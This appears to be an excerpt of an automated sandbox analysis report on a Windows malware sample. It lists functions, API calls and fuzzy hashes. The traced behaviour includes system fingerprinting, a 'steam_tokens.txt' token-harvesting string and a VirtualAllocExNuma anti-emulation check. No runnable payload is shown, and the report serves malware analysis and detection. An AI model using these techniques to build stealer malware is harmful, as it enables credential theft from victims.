Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C643060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C643095

Part of subcall function 6C6435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6CF688,00001000), ref: 6C6435D5
Part of subcall function 6C6435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6435E0
Part of subcall function 6C6435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6435FD
Part of subcall function 6C6435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C64363F
Part of subcall function 6C6435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C64369F
Part of subcall function 6C6435A0: __aulldiv.LIBCMT ref: 6C6436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C64309F

Part of subcall function 6C665B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6656EE,?,00000001), ref: 6C665B85
Part of subcall function 6C665B50: EnterCriticalSection.KERNEL32(6C6CF688,?,?,?,6C6656EE,?,00000001), ref: 6C665B90
Part of subcall function 6C665B50: LeaveCriticalSection.KERNEL32(6C6CF688,?,?,?,6C6656EE,?,00000001), ref: 6C665BD8
Part of subcall function 6C665B50: GetTickCount64.KERNEL32 ref: 6C665BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6430BE

Part of subcall function 6C6430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C643127
Part of subcall function 6C6430F0: __aulldiv.LIBCMT ref: 6C643140

Part of subcall function 6C67AB2A: __onexit.LIBCMT ref: 6C67AB30

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 90bb19d596cd19b9e109a1c1e37fe8f3494d5e05090064cf039e43480f1316a7
Instruction ID: 0a3d4c530006326cd036d0f6f8b144b86ba2e6d1524010d78cfd7b0507523151
Opcode Fuzzy Hash: 90bb19d596cd19b9e109a1c1e37fe8f3494d5e05090064cf039e43480f1316a7
Instruction Fuzzy Hash: 07F0F962E2074496CB10DF7788D11E67770AF6B114F105729E88457652FB20A3D883DF

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,02729BD0,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,02729BD0,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02729670,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,02729A50,00000000,?,00420DF4,00000000,?,00000000,00000000,?,027297C0,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,027092B8,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,02729A10,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02729628,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02729628,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,027062A8,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 869194160-0
Opcode ID: 9fa4b7203f3d54052e5bf57211d9720927b1eaa4563d4225541175ef3e93fcbe
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 9fa4b7203f3d54052e5bf57211d9720927b1eaa4563d4225541175ef3e93fcbe
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00414BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02704B50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(00000000,00000000,00420AB3,?,?,?,?,?,?,00415BEB,?), ref: 00414C0A

Strings

steam_tokens.txt, xrefs: 00414C1F

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 31e308a2702a12bc628887caaa0b1201e0d349a909a28e03d21d8c8f8041e4fb
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

